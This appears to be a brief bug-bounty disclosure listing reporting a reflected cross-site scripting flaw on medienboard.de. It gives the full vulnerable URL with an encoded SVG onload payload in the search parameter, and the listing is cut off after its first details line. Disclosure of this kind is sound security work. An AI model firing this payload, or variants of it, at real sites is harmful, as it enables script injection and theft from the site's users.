medienboard.de XSS vulnerability

Vulnerable URL: http://www.medienboard.de/index.php?id=126kesearchpi1sword=%22%3Eblub%3Csvg%2Fonload%3Dalert%2FOPENBUGBOUNTY%2F%3E%22%3Eblub%3Csvg%2Fonload%3Dalert%2FOPENBUGBOUNTY%2F%3Ekesearchpi1page=1kesearchpi1resetFilters=0kesearchpi1sortByField=kesearchpi1sortByDir= Details: Description| Val...